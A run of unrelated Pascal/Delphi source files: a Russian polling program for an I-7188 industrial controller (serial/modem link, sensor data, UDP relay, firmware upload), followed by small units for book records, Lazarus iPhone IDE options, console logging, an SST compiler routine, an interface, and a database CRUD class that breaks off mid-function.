sCmd,sUserResp,sAutoResp,sDataDump:String; sDialCmd:String; TrafficIn,TrafficOut:Integer; PacketsIn,PacketsOut:Integer; constructor Create; procedure Execute;override; destructor Destroy;override; private hCom:THandle; SvcHandlers:array[0..2] of record SvcID:Byte; Handler:TServiceHandler; end; UBuf:array of Byte; function readBuf(var Buffer; Len:Integer):Cardinal; procedure unreadBuf(var Buffer; Len:Integer); procedure putComBuf(const Buffer; Length:Integer); procedure putComStr(const S:String); function handleTimeSyncService(const InData:String; var OutData:String):Boolean; function handleADCService(const InData:String; var OutData:String):Boolean; function handleProgService(const InData:String; var OutData:String):Boolean; end; TPacketHeader = packed record Addr,PacketID,ServiceID:Byte; DataSize,DataChecksum,Checksum:Word; end; TIME_STAMP = Int64; TADCServiceInData = packed record SensNum:Byte; Time:TIME_STAMP; Data:packed array[0..1023,0..2] of Byte; end; const LLTicksProDay=24*60*60*1000; dtLLTickPeriod=1/LLTicksProDay; dtOneSecond=1/SecsPerDay; dtOneMSec=1/MSecsPerDay; var FormMain: TFormMain; procedure ShowErrorMsg(ErrorId:Cardinal); implementation {$R *.DFM} const Section='config'; Programming:Boolean=FALSE; ProgPos:Integer=0; function getHexDump(const Data; Size:Integer):String; type PByte=^Byte; var i:Integer; s:String; B:array[0..65535] of Byte absolute Data; begin Result:=''; for i:=0 to Size-1 do begin S:=Format('%x',[B[i]]); if Length(S)=1 then S:='0'+S+' ' else S:=S+' '; Result:=Result+S; end; end; procedure FNTimeCallBack(uTimerID,uMessage:UINT;dwUser,dw1,dw2:DWORD);stdcall; var Self:TFormMain absolute dwUser; begin Self.TimerTimer(Self); end; function MakeLangId(p,s:Word):Cardinal; begin Result:=(s shl 10) or p; end; procedure ShowErrorMsg(ErrorId:Cardinal); const BufSize=1024; var lpMsgBuf:PChar; begin GetMem(lpMsgBuf,BufSize); FormatMessage( FORMAT_MESSAGE_FROM_SYSTEM, nil, ErrorId, MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), // Default language lpMsgBuf, BufSize, nil ); // Display the string. Application.MessageBox(lpMsgBuf,'ERROR',MB_OK or MB_ICONINFORMATION); // Free the buffer. FreeMem(lpMsgBuf,BufSize); end; function CalcChecksum(const Data; Size:Cardinal):Word; type PByte = ^Byte; var i:Cardinal; begin Result:=0; for i:=0 to Size-1 do Inc(Result,PByte(Cardinal(@Data)+i)^); end; procedure TFormMain.FormCreate(Sender: TObject); var i,Count,W,H:Integer; SF:TFrameSensor; hSysMenu:Integer; begin InitFormattingVariables; W:=0; H:=0; try if ParamCount=1 then Ini:=TIniFile.Create(ExpandFileName(ParamStr(1))) else Ini:=TIniFile.Create(Misc.GetModuleFullName+'.ini'); Sensors:=TList.Create; Count:=Ini.ReadInteger(Section,'SensorCount',0); for i:=1 to Count do begin SF:=TFrameSensor.Create(Self); SF.Name:=''; SF.LoadFromIniSection(Ini,'Sensor'+IntToStr(i)); Sensors.Add(SF); SF.Top:=H; SF.Left:=0; SF.Parent:=Self; W:=SF.Width; Inc(H,SF.Height); end; ClientWidth:=W+PnlCmd.Width; ClientHeight:=H; pmiReadOnly.Enabled:=Ini.ReadInteger(Section,'ReadOnly',1)=0; Caption:=Ini.ReadString(Section,'AppTitle','Ldr7017'); Application.Title:=Caption; AppExt.TrayHint:=Ini.ReadString(Section,'TrayHint','Ldr7017'); hSysMenu:=GetSystemMenu(Handle,False); EnableMenuItem(hSysMenu,SC_CLOSE,MF_BYCOMMAND or MF_DISABLED or MF_GRAYED); if Ini.ReadInteger(Section,'AutoStart',0)<>0 then begin ShowWindow(Application.Handle,0); pmiResume.Click; end else Visible:=True; WriteToLog(LogMsg(Now,'ЗАПУСК (Ldr7188)')); except Application.MessageBox( 'Исключительная ситуация при инициализации программы опроса I-7188', '',MB_ICONHAND or MB_OK ); Application.Terminate; end; end; procedure TFormMain.FormDestroy(Sender: TObject); var i:Integer; SF:TFrameSensor; begin Stop; if Sensors<>nil then begin for i:=0 to Sensors.Count-1 do begin SF:=TFrameSensor(Sensors[i]); SF.WriteToIni(Ini); end; Sensors.Free; end; Ini.Free; WriteToLog(LogMsg(Now,'ОСТАНОВ (Ldr7188)')); end; procedure TFormMain.FormCloseQuery(Sender: TObject; var CanClose: Boolean); begin CanClose:=Application.Terminated; end; procedure TFormMain.pmiCloseClick(Sender: TObject); begin Application.Terminate; end; procedure TFormMain.pmiAboutClick(Sender: TObject); begin Application.MessageBox( 'СКУ'#13#13+ 'Интерфейс с контроллером нижнего уровня'#13#13+ '(c) 2000-2002 ООО "Компания Телекомнур"'#13+ 'e-mail: test@mail.rb.ru', 'О программе', MB_ICONINFORMATION or MB_OK or MB_TOPMOST); end; procedure TFormMain.AppExtTrayDefault(Sender: TObject); begin if Application.Active then Visible:=not Visible else Visible:=TRUE; SetForegroundWindow(Handle); end; procedure TFormMain.Start; var i:Integer; begin if Thd<>nil then exit; for i:=0 to Sensors.Count-1 do begin if not FrameSensor[i].Validate then begin FormMain.Show; exit; end; end; Period:=Ini.ReadInteger(Section,'Period',1000)*dtOneMSec; Thd:=TMainThread.Create; Thd.ComPort:=Ini.ReadString(Section,'ComPort','COM1'); Thd.ComSpeed:=Ini.ReadInteger(Section,'ComSpeed',19200); Thd.sDialCmd:=Ini.ReadString(Section,'DialCmd',''); Thd.DialMaxDuration:=Ini.ReadInteger(Section,'DialMaxDuration',60); Thd.ShowDataDump:=cbShowDataDump.Checked; Thd.Sensors:=Sensors; Thd.Resume; end; procedure TFormMain.Stop; begin if Thd<>nil then begin Thd.Terminate; // Sleep(1000); Thd.WaitFor; // TerminateThread(Thd.Handle,0); Thd.Free; Thd:=nil; end; end; procedure TFormMain.pmiResumeClick(Sender: TObject); begin Start; if Thd<>nil then begin pmiResume.Enabled:=False; pmiSuspend.Enabled:=True; end; end; procedure TFormMain.pmiSuspendClick(Sender: TObject); begin Stop; pmiSuspend.Enabled:=False; pmiResume.Enabled:=True; end; procedure TFormMain.TimerTimer(Sender: TObject); function GenErrMsg(const DT:TDateTime;Old,New,Bit:Integer;Ch:Byte;Hint:String):String; begin if (Old xor New) and Bit<>0 then begin Result:='#'+IntToStr(Ch); if New and Bit<>0 then Result:=Result+' СБОЙ ('+Hint+')' else Result:=Result+' НОРМА ('+Hint+')'; Result:=LogMsg(DT,Result); end else Result:=''; end; type TCharArray=packed array [0..15] of Char; const fMaskError =$008FFFFF; fErrorFlag =$00800000; fErrorComm =$00400000; fErrorADCRange=$00200000; fErrorInvData =$00100000; Coeff=1/256/32767; WDC:Integer=0; NoConnection:Boolean=False; var FS:TFrameSensor; i,j,k,m,Cnt:Integer; Tmp:Cardinal; Adr:TAddress; CharBuf:TCharArray; Buf:TSclRec absolute CharBuf; ST:TSystemTime; Data:String; ToLog:String; DataScaleFactor:Double; PD:^TADCServiceInData; MaxTime,Time:TDateTime; AD:TAnalogData; begin if Thd=nil then exit; // Вывод результатов опросов Thd.CS.Enter; stTxtTrafficIn.Caption:=Format('In: %.4d (%.3d)',[Thd.TrafficIn,Thd.PacketsIn]); Thd.TrafficIn:=0; Thd.PacketsIn:=0; stTxtTrafficOut.Caption:=Format('Out: %.4d (%.3d)',[Thd.TrafficOut,Thd.PacketsOut]); Thd.TrafficOut:=0; Thd.PacketsOut:=0; if Thd.sUserResp<>'' then begin AddEchoText(Thd.sUserResp); Thd.sUserResp:=''; end; if Thd.sAutoResp<>'' then begin memoEcho.Text:=Thd.sAutoResp; Thd.sAutoResp:=''; end; for i:=0 to Sensors.Count-1 do begin FS:=TFrameSensor(Sensors[i]); FS.TimerProc; end; Thd.CS.Leave; // Если в течении 15 секунд не было нормальной связи или поток опроса "повис", // то перезапускаем поток опроса контроллера if Thd.ClearWatchdog then begin WDC:=0; Thd.ClearWatchdog:=False; if NoConnection then ToLog:=LogMsg(Now,'НОРМА (Ответ контроллера)'); NoConnection:=False; end else begin Inc(WDC,Timer.Interval); if WDC>15000 then begin if NoConnection=False then ToLog:=LogMsg(Now,'СБОЙ (Ответ контроллера)'); NoConnection:=True; AddEchoText('Watchdog timeout. Restarting.'#13#10); Stop; Start; WDC:=0; end; end; // exit; MaxTime:=Now; for i:=0 to Sensors.Count-1 do begin FS:=TFrameSensor(Sensors[i]); Buf.Number:=FS.NetNumber; DataScaleFactor:=FS.CoeffK*Coeff; for j:=0 to FS.DataList.Count-1 do begin FS.CS.Acquire; Data:=FS.DataList[j]; FS.CS.Release; PD:=@(Data[1]); Cnt:=(Length(Data)-SizeOf(PD.SensNum)-SizeOf(PD.Time)) div 3; for k:=0 to Cnt-1 do begin Time:=PD.Time*dtLLTickPeriod+k*Period; if Time>MaxTime then break; DateTimeToSystemTime(Time,ST); with Buf.Time do begin Year:=ST.wYear-1900; Month:=ST.wMonth; Day:=ST.wDay; Hour:=ST.wHour; Min:=ST.wMinute; Sec:=ST.wSecond; Sec100:=Trunc(ST.wMilliseconds*0.1); end; Tmp:=0; move(PD.Data[k],Tmp,3); if Tmp and fMaskError=fErrorFlag then begin // признак сбоя SetErrUnknown(AD); if not FS.isSensorOn then SetSensorRepair(AD); Buf.P:=AD.Value; end else begin if(Tmp and $00800000<>0) then Tmp:=Tmp or $FF000000; Buf.P:=Integer(Tmp)*DataScaleFactor+FS.CoeffB; Inc(FS.CntP); FS.P:=Buf.P; end; if (Tmp and fMaskError<>fErrorFlag) then Tmp:=0; ToLog:=ToLog+ GenErrMsg(Time,FS.Tag,Tmp,fErrorFlag,i,'Показания датчика')+ GenErrMsg(Time,FS.Tag,Tmp,fErrorComm,i,'Связь с АЦП')+ GenErrMsg(Time,FS.Tag,Tmp,fErrorADCRange,i,'Диапазон АЦП')+ GenErrMsg(Time,FS.Tag,Tmp,fErrorInvData,i,'Данные с АЦП'); FS.Tag:=Tmp; // Рассылка for m:=0 to FS.AdrList.Count-1 do begin Adr:=TAddress(FS.AdrList[m]); NMUDP.RemoteHost:=Adr.Host; NMUDP.RemotePort:=Adr.Port; NMUDP.SendBuffer(CharBuf,SizeOf(CharBuf)); end; end; end; FS.CS.Acquire; FS.DataList.Clear; FS.CS.Release; end; if ToLog<>'' then WriteToLog(ToLog); end; procedure TFormMain.NMUDPInvalidHost(var handled: Boolean); begin handled:=True; end; procedure TFormMain.NMUDPBufferInvalid(var handled: Boolean; var Buff: array of Char; var length: Integer); begin handled:=true; end; function TFormMain.Get_FrameSensor(i: Integer): TFrameSensor; begin Result:=TFrameSensor(Sensors[i]); end; procedure TFormMain.pmiReadOnlyClick(Sender: TObject); var ReadOnly:Boolean; begin ReadOnly:=not pmiReadOnly.Checked or (Application.MessageBox( 'Вы хотите изменить настройки опроса датчиков?', 'Подтверждение', MB_ICONQUESTION or MB_YESNO or MB_TOPMOST or MB_DEFBUTTON2 )<>ID_YES); if ReadOnly<>pmiReadOnly.Checked then begin pmiReadOnly.Checked:=ReadOnly; SensorsReadOnly:=not ReadOnly; end; end; procedure TFormMain.Set_SensorsReadOnly(const Value: Boolean); var i:Integer; begin for i:=0 to Sensors.Count-1 do FrameSensor[i].Enabled:=Value; end; procedure TFormMain.AddEchoText(const S: String); const Cnt:Integer=0; begin if Cnt>32000 then begin Cnt:=0; memoEcho.Text:=''; end else Inc(Cnt,Length(S)); memoEcho.SelStart:=0; memoEcho.SelText:=S; memoEcho.SelLength:=0; end; procedure TFormMain.BtnClearClick(Sender: TObject); begin memoEcho.Lines.Clear; end; { TMainThread } constructor TMainThread.Create; begin inherited Create(True); Priority:=tpTimeCritical; CS:=TCriticalSection.Create; // служба синхронизации времени SvcHandlers[0].SvcID:=1; SvcHandlers[0].Handler:=handleTimeSyncService; // служба аналоговых датчиков SvcHandlers[1].SvcID:=2; SvcHandlers[1].Handler:=handleADCService; // служба обновления программы контроллера SvcHandlers[2].SvcID:=3; SvcHandlers[2].Handler:=handleProgService; end; destructor TMainThread.Destroy; begin CloseHandle(hCom); CS.Free; inherited; end; procedure TMainThread.Execute; type EnumError=(eeNoError,eeHdrTimeout,eeHdrCRCError,eeDataTimeout,eeDataCRCError,eePacketSeq); var HdrI,HdrO:TPacketHeader; DataI,DataO:String; i,Len:Integer; dcb:TDCB; CTO:COMMTIMEOUTS; Error:EnumError; ModemStat:Cardinal; TimerWaitRLSD:Integer; begin hCom := CreateFile(PChar(ComPort), GENERIC_READ or GENERIC_WRITE, 0, // comm devices must be opened w/exclusive-access nil, // no security attrs OPEN_EXISTING, // comm devices must use OPEN_EXISTING 0, // not overlapped I/O 0 // hTemplate must be NULL for comm devices ); FillChar(CTO,SizeOf(CTO),0); CTO.ReadIntervalTimeout:=300; CTO.ReadTotalTimeoutConstant:=2000; CTO.ReadTotalTimeoutMultiplier:=50; if (hCom = INVALID_HANDLE_VALUE) or not GetCommState(hCom,dcb) or not SetCommTimeouts(hCom,CTO) then begin ShowErrorMsg(GetLastError()); exit; end; SetCommTimeouts(hCom,CTO); dcb.BaudRate:=ComSpeed; dcb.ByteSize:=8; dcb.StopBits:=ONESTOPBIT; dcb.Flags:=1; // fBinary=1 dcb.Parity:=NOPARITY; SetCommState(hCom,dcb); EscapeCommFunction(hCom,SETDTR); EscapeCommFunction(hCom,SETRTS); HdrO.Addr:=1; HdrO.PacketID:=0; HdrO.ServiceID:=0; HdrO.DataSize:=0; HdrO.DataChecksum:=0; TimerWaitRLSD:=0; repeat if sDialCmd<>'' then begin GetCommModemStatus(hCom,ModemStat); if ModemStat and MS_RLSD_ON=0 then begin if TimerWaitRLSD=0 then begin sUserResp:='Dialing...'#13#10+sUserResp; putComStr(#13); sleep(1000); putComStr(sDialCmd+#13); TimerWaitRLSD:=DialMaxDuration; end; sleep(1000); Dec(TimerWaitRLSD); ClearWatchDog:=True; continue; end else TimerWaitRLSD:=0; end; if HdrO.DataSize>0 then HdrO.DataChecksum:=CalcChecksum(DataO[1],HdrO.DataSize) else HdrO.DataChecksum:=0; HdrO.Checksum:=CalcChecksum(HdrO,SizeOf(HdrO)-2); putComBuf(HdrO,SizeOf(HdrO)); if HdrO.DataSize>0 then putComBuf(DataO[1],HdrO.DataSize); CS.Enter; Inc(PacketsOut); CS.Leave; Error:=eeNoError; HdrI.Addr:=0; sDataDump:=''; repeat if readBuf(HdrI.Addr,1)=0 then begin Error:=eeHdrTimeOut; break; end; until HdrI.Addr=1; if Error=eeNoError then begin Len:=readBuf(HdrI.PacketID,SizeOf(HdrI)-1); if (Len<>SizeOf(HdrI)-1) or (CalcChecksum(HdrI,SizeOf(HdrI)-2)<>HdrI.Checksum) then unreadBuf(HdrI.PacketID,Len) else begin CS.Enter; Inc(PacketsIn); CS.Leave; if HdrI.PacketID<>(HdrO.PacketID+1)and $FF then Error:=eePacketSeq; HdrO.PacketID:=(HdrI.PacketID+1) and $FF; SetLength(DataI,HdrI.DataSize); if HdrI.DataSize<>0 then begin Len:=readBuf(DataI[1],HdrI.DataSize); if (Len<>HdrI.DataSize) or (CalcChecksum(DataI[1],HdrI.DataSize)<>HdrI.DataChecksum) then unreadBuf(DataI[1],Len) else begin if Error=eeNoError then begin DataO:=''; HdrO.ServiceID:=0; for i:=0 to High(SvcHandlers) do begin if(HdrI.ServiceID=SvcHandlers[i].SvcID)then begin if SvcHandlers[i].Handler(DataI,DataO) then HdrO.ServiceID:=HdrI.ServiceID; break; end; end; if HdrO.ServiceID=0 then begin for i:=0 to High(SvcHandlers) do begin if SvcHandlers[i].Handler('',DataO) then begin HdrO.ServiceID:=SvcHandlers[i].SvcID; break; end; end; end; HdrO.DataSize:=Length(DataO); end; end; end; end; end; if Error<>eeNoError then begin if not ShowDataDump then begin CS.Enter; case Error of eeHdrTimeout:sUserResp:='Error: Answer timeout'#13#10+sUserResp; eeHdrCRCError:sUserResp:='Error: Header CRC'#13#10+sUserResp; eeDataTimeout:sUserResp:='Error: Data timeout'#13#10+sUserResp; eeDataCRCError:sUserResp:='Error: Data CRC'#13#10+sUserResp; eePacketSeq:sUserResp:='Packets sequence resync'#13#10+sUserResp; end; CS.Leave; end; if Error=eePacketSeq then begin Sleep(1000); PurgeComm(hCom,PURGE_RXCLEAR); end; end else ClearWatchdog:=True; if ShowDataDump then begin CS.Enter; sUserResp:=sDataDump+#13#10+sUserResp; CS.Leave; end; until Terminated; EscapeCommFunction(hCom,CLRRTS); EscapeCommFunction(hCom,CLRDTR); PurgeComm(hCom,PURGE_RXCLEAR or PURGE_TXCLEAR); end; function TMainThread.readBuf(var Buffer; Len:Integer):Cardinal; var i,si,di,L:Integer; B:array[0..65535] of Byte absolute Buffer; begin Result:=0; L:=Length(UBuf); if L>0 then begin if Len<L then i:=Len else i:=L; si:=L-1; for di:=0 to i-1 do begin B[di]:=UBuf[si]; Dec(si); end; SetLength(UBuf,L-i); end else i:=0; if i<Len then ReadFile(hCom,B[i],Len-i,Result,nil); Inc(Result,i); if ShowDataDump and (Result>0) then sDataDump:=sDataDump+getHexDump(Buffer,Result); CS.Enter; Inc(TrafficIn,Result); CS.Leave; end; function TMainThread.handleADCService(const InData: String; var OutData: String):Boolean; type TInData=TADCServiceInData; var ID:^TInData; FS:TFrameSensor; begin Result:=FALSE; if InData='' then exit; ID:=@(InData[1]); FS:=FormMain.FrameSensor[ID.SensNum]; FS.CS.Acquire; FS.DataList.Add(InData); FS.CS.Release; // then sDataDump:=getHexDump(InData[1],Length(InData))+#13#10+sUserResp if not ShowDataDump then begin CS.Acquire; sUserResp:=DateTimeToStr(ID.Time*dtLLTickPeriod)+ Format(' %3dms AD#%d %d'#13#10,[ ID.Time mod 1000, ID.SensNum, (Length(InData)-1-SizeOf(TIME_STAMP)) div 3 ])+sUserResp; CS.Release; end; (* else sUserResp:=Format('T = %2dH %2dM %2dS %2dhS AD#%d %d'#13#10, [ID.Time div 360000,ID.Tim mod 360000 div 6000, ID.Tim mod 6000 div 100,ID.Tim mod 100, ID.SensNum,(Length(InData)-5) div 3])+sUserResp; //*) end; function TMainThread.handleProgService(const InData: String; var OutData: String): Boolean; type TInData=record Offset:Integer; end; TOutData=record Offset:Integer; Data:array[0..0] of Byte; end; var ID:^TInData; OD:^TOutData; ImgFile:file; FSize,Size:Integer; begin Result:=False; if (not Programming) then exit; Assign(ImgFile,'rom-disk.img'); try Reset(ImgFile,1); CS.Enter; try FSize:=FileSize(ImgFile); if InData<>'' then begin ID:=@(InData[1]); ProgPos:=ID^.Offset; sUserResp:='PROG: '+IntToStr(ProgPos)+' of '+IntToStr(FSize)+#13#10+sUserResp; end; Size:=128; if ProgPos=FSize then begin sUserResp:='PROGRAMMING COMPLETED.'#13#10+sUserResp; Programming:=FALSE; Size:=0; end; if ProgPos+Size>FSize then Size:=FSize-ProgPos; SetLength(OutData,Size+4); OD:=@(OutData[1]); OD.Offset:=ProgPos; Seek(ImgFile,ProgPos); BlockRead(ImgFile,OD.Data,Size); Result:=TRUE; finally CS.Leave; CloseFile(ImgFile); end; except CS.Enter; sUserResp:='ERROR: Cannot open ROM-DISK.IMG'#13#10+sUserResp; CS.Leave; Programming:=FALSE; end; end; function TMainThread.handleTimeSyncService(const InData: String; var OutData: String):Boolean; type TInData = packed record TimeQ,Filler:TIME_STAMP; end; TOutData = packed record TimeQ,TimeA:TIME_STAMP; end; var ID:^TInData; OD:^TOutData; begin Result:=FALSE; if InData='' then exit; SetLength(OutData,SizeOf(TOutData)); ID:=@(InData[1]); OD:=@(OutData[1]); OD.TimeQ:=ID.TimeQ; OD.TimeA:=Round(Now*LLTicksProDay); CS.Acquire; sUserResp:='time sync'#13#10+sUserResp; CS.Release; Result:=TRUE; end; procedure TMainThread.putComBuf(const Buffer; Length: Integer); var i:Cardinal; begin WriteFile(hCom,Buffer,Length,i,nil); CS.Enter; Inc(TrafficOut,Length); CS.Leave; end; procedure TFormMain.WriteToLog(const S: String); const LogFileName='ldr7188.log'; var Log:TextFile; begin try AssignFile(Log,LogFileName); if not FileExists(LogFileName) then Rewrite(Log) else Append(Log); try Write(Log,S); Flush(Log); finally CloseFile(Log); end; except end; end; function TFormMain.LogMsg(const DT: TDateTime; const Msg: String):String; begin Result:='['+DateTimeToStr(DT)+'] '+Msg+#13#10; end; procedure TFormMain.cbShowDataDumpClick(Sender: TObject); begin if Thd<>nil then Thd.ShowDataDump:=cbShowDataDump.Checked; end; procedure TMainThread.putComStr(const S: String); begin putComBuf(S[1],Length(S)); end; procedure TFormMain.FormKeyPress(Sender: TObject; var Key: Char); const Pos:Integer=1; Pwd:String='Programming!'; begin if Key=Pwd[Pos] then begin if Pos<Length(Pwd) then Inc(Pos) else begin Pos:=1; if Programming then AddEchoText('WARNING! Programing stopped!'#13#10) else AddEchoText('Programming started...'#13#10); if Thd<>nil then Thd.CS.Enter; ProgPos:=0; Programming:=not Programming; if Thd<>nil then Thd.CS.Leave; end; end else Pos:=1; end; procedure TMainThread.unreadBuf(var Buffer; Len: Integer); var si,di,L:Integer; B:array[0..65535] of Byte absolute Buffer; begin L:=Length(UBuf); SetLength(UBuf,L+Len); di:=L+Len-1; for si:=0 to Len-1 do begin UBuf[di]:=B[si]; Dec(di); end; end; end.
program Project1; Type str25=string[25]; TBookRec= record Title, Author,ISBN:Str25; Price:real; end; Procedure EnterNewBook(var newBook:TBookRec); begin writeln('Please enter the book details: '); write('Book Name: '); readln(newBook.Title); write('Author: '); readln(newBook.Author); write('ISBN: '); readln(newBook.ISBN); write('Price: '); readln(newBook.Price); end; var bookRecArray:Array[1..10] of TBookRec; i:1..10; begin for i:=1 to 10 do EnterNewBook(bookRecArray[i]); writeln('Thanks for entering the book details'); write('Now choose a record to display from 1 to 10: '); readln(i); writeln('Here are the book details of record #',i,':'); writeln; writeln('Title: ',bookRecArray[i].Title); writeln('Author: ',bookRecArray[i].Author); writeln('ISBN: ',bookRecArray[i].ISBN); writeln('Price: ',bookRecArray[i].Price); readln; end.
{ ***************************************************************************** * * * This file is part of the iPhone Laz Extension * * * * See the file COPYING.modifiedLGPL.txt, included in this distribution, * * for details about the copyright. * * * * This program is distributed in the hope that it will be useful, * * but WITHOUT ANY WARRANTY; without even the implied warranty of * * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. * * * ***************************************************************************** } unit environment_iphone_options; {$mode objfpc}{$H+} interface uses Classes, SysUtils, FileUtil, LResources, Forms, StdCtrls, IDEOptionsIntf, ProjectIntf, iPhoneExtOptions; type { TiPhoneSpecificOptions } TiPhoneSpecificOptions = class(TAbstractIDEOptionsEditor) Button1: TButton; cmbDefaultSDK: TComboBox; edtCompilerPath: TEdit; edtRTLPath: TEdit; edtCompilerOptions: TEdit; edtPlatformsPath: TEdit; edtSimBundle: TEdit; edtSimApps: TEdit; Label1: TLabel; lblRTLUtils: TLabel; lblSimAppPath: TLabel; lblCompilerPath: TLabel; lblXCodeProject: TLabel; lblCmpOptions: TLabel; Label5: TLabel; lblSimSettings: TLabel; lblSimBundle: TLabel; procedure Button1Click(Sender: TObject); procedure edtCompilerOptionsChange(Sender: TObject); procedure lblCmpOptionsClick(Sender: TObject); private { private declarations } public { public declarations } function GetTitle: String; override; class function SupportedOptionsClass: TAbstractIDEOptionsClass; override; procedure Setup(ADialog: TAbstractOptionsEditorDialog); override; procedure ReadSettings(AOptions: TAbstractIDEOptions); override; procedure WriteSettings(AOptions: TAbstractIDEOptions); override; end; implementation { TiPhoneSpecificOptions } procedure TiPhoneSpecificOptions.lblCmpOptionsClick(Sender: TObject); begin end; procedure TiPhoneSpecificOptions.Button1Click(Sender: TObject); var dir : String; begin dir:=EnvOptions.PlatformsBaseDir; EnvOptions.PlatformsBaseDir:=edtPlatformsPath.Text; EnvOptions.RefreshVersions; cmbDefaultSDK.Clear; EnvOptions.GetSDKVersions(cmbDefaultSDK.Items); EnvOptions.PlatformsBaseDir:=dir; EnvOptions.RefreshVersions; end; procedure TiPhoneSpecificOptions.edtCompilerOptionsChange(Sender: TObject); begin end; function TiPhoneSpecificOptions.GetTitle: String; begin Result:='Files'; end; procedure TiPhoneSpecificOptions.Setup(ADialog: TAbstractOptionsEditorDialog); begin end; procedure TiPhoneSpecificOptions.ReadSettings(AOptions: TAbstractIDEOptions); var opt : TiPhoneEnvironmentOptions; begin if not Assigned(AOptions) or not (AOptions is TiPhoneEnvironmentOptions) then Exit; opt:=TiPhoneEnvironmentOptions(AOptions); opt.Load; edtPlatformsPath.Text := opt.PlatformsBaseDir; edtCompilerPath.Text := opt.CompilerPath; edtRTLPath.Text := opt.BaseRTLPath; edtCompilerOptions.Text := opt.CommonOpt; edtSimBundle.Text := opt.SimBundle; edtSimApps.Text:= opt.SimAppsPath; cmbDefaultSDK.Items.Clear; opt.GetSDKVersions(cmbDefaultSDK.Items); cmbDefaultSDK.ItemIndex:=cmbDefaultSDK.Items.IndexOf(opt.DefaultSDK); end; procedure TiPhoneSpecificOptions.WriteSettings(AOptions: TAbstractIDEOptions); var opt : TiPhoneEnvironmentOptions; begin if not Assigned(AOPtions) or not (AOptions is TiPhoneEnvironmentOptions) then Exit; opt:=TiPhoneEnvironmentOptions(AOptions); opt.PlatformsBaseDir:=edtPlatformsPath.Text; opt.CompilerPath:=edtCompilerPath.Text; opt.BaseRTLPath:=edtRTLPath.Text; opt.CommonOpt:=edtCompilerOptions.Text; opt.SimBundle:=edtSimBundle.Text; opt.SimAppsPath:=edtSimApps.Text; opt.Save; end; class function TiPhoneSpecificOptions.SupportedOptionsClass: TAbstractIDEOptionsClass; begin Result:=TiPhoneEnvironmentOptions; end; initialization {$I environment_iphone_options.lrs} RegisterIDEOptionsEditor(iPhoneEnvGroup, TiPhoneSpecificOptions, iPhoneEnvGroup+1); end.
unit uConsoleOutput; {$mode objfpc}{$H+} interface uses Classes, SysUtils; type { TLogger } TLogger = class(TObject) private FDebug: boolean; FVerbose: boolean; function IsDebug: boolean; function IsInfo: boolean; public constructor Create(const aDebug, aVerbose: boolean); procedure Err(const aVallue: string); procedure Warn(const aVallue: string); procedure Info(const aVallue: string); procedure Debug(const aVallue: string); end; implementation { TLogger } function TLogger.IsDebug: boolean; begin Result := FDebug; end; function TLogger.IsInfo: boolean; begin Result := IsDebug or FVerbose; end; constructor TLogger.Create(const aDebug, aVerbose: boolean); begin FDebug := aDebug; FVerbose := aVerbose; end; procedure TLogger.Err(const aVallue: string); begin WriteLn(aVallue); end; procedure TLogger.Warn(const aVallue: string); begin WriteLn(aVallue); end; procedure TLogger.Info(const aVallue: string); begin if IsInfo then WriteLn(aVallue); end; procedure TLogger.Debug(const aVallue: string); begin if IsDebug then WriteLn(aVallue); end; end.
{ Subroutine SST_EXP_SIMPLE (EXP) * * Return TRUE if the expression is "simple". This means it has only one term * and contains no function references. } module sst_EXP_SIMPLE; define sst_exp_simple; %include 'sst2.ins.pas'; function sst_exp_simple ( {check for expression is simple/complicated} in exp: sst_exp_t) {expression descriptor to check} : boolean; {TRUE if no computes needed to evaluate exp} begin if exp.term1.next_p <> nil then begin {more than one term ?} sst_exp_simple := false; return; end; sst_exp_simple := sst_term_simple(exp.term1); end;
unit StepParamIntf; interface type IStepParam = interface(IInterface) ['{7A685760-0757-4A0F-B4AF-4DBB3513D061}'] function GetName: string; function GetValue: string; procedure SetName(const Value: string); procedure SetValue(const Value: string); property Name: string read GetName write SetName; property Value: string read GetValue write SetValue; end; implementation end.
unit clTipoOcorrencias; interface type TTiposOcorrencias = class(TObject) private function getCodigo(): String; function getDescricao(): String; procedure setCodigo(const Value: String); procedure setDescricao(const Value: String); function getOperacao: String; procedure setOperacao(const Value: String); protected _codigo: String; _descricao: String; _operacao: String; public property Codigo: String read getCodigo write setCodigo; property Descricao: String read getDescricao write setDescricao; property Operacao: String read getOperacao write setOperacao; function Validar(): Boolean; function getObject(id, coluna: String): Boolean; function getObjects(): Boolean; function getField(campo, coluna: String): String; function Delete(filtro: String): Boolean; function Insert(): Boolean; function Update(): Boolean; end; const TABLENAME = 'JOR_TIPO_OCORRENCIA'; implementation uses System.Variants, System.SysUtils, udm, clUtil, Math, Dialogs, Data.DB, ZAbstractRODataset, ZDataset; { TTiposOcorrencias } function TTiposOcorrencias.getCodigo: String; begin Result := _codigo; end; function TTiposOcorrencias.getDescricao: String; begin Result := _descricao; end; function TTiposOcorrencias.getOperacao: String; begin Result := _operacao; end; function TTiposOcorrencias.Validar(): Boolean; begin try Result := False; if TUtil.Empty(Self.Codigo) then begin MessageDlg('Informe o código do Tipo de Ocorrência!', mtWarning, [mbOK], 0); Exit; end; if Self.Operacao = 'I' then begin if not(TUtil.Empty(getField('COD_TIPO_OCORRENCIA', 'CODIGO'))) then begin MessageDlg('Código já cadastrado.', mtWarning, [mbOK], 0); Exit; end; end; if TUtil.Empty(Self.Descricao) then begin MessageDlg('Informe a descrição do Tipo de Ocorrência.', mtWarning, [mbOK], 0); Exit; end; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TTiposOcorrencias.Insert(): Boolean; begin try Result := False; with dm.qryCRUD1 do begin Close; SQL.Clear; SQL.Text := 'INSERT INTO ' + TABLENAME + ' (' + 'COD_TIPO_OCORRENCIA, ' + 'DES_TIPO_OCORRENCIA) ' + 'VALUES (' + ':CODIGO, ' + ':DESCRICAO);'; ParamByName('CODIGO').AsString := Self.Codigo; ParamByName('DESCRICAO').AsString := Self.Descricao; dm.ZConn1.Ping; ExecSQL; Close; SQL.Clear; end; Result := True; Except on E: Exception do ShowMessage('Classe: ' + E.ClassName + chr(13) + 'Mensagem: ' + E.Message); end; end; function TTiposOcorrencias.Update(): Boolean; begin try Result := False; with dm.qryCRUD1 do begin Close; SQL.Clear; SQL.Text := 'UPDATE ' + TABLENAME + ' SET ' + 'DES_TIPO_OCORRENCIA = :DESCRICAO ' + 'WHERE COD_TIPO_OCORRENCIA = :CODIGO'; ParamByName('CODIGO').AsString := Self.Codigo; 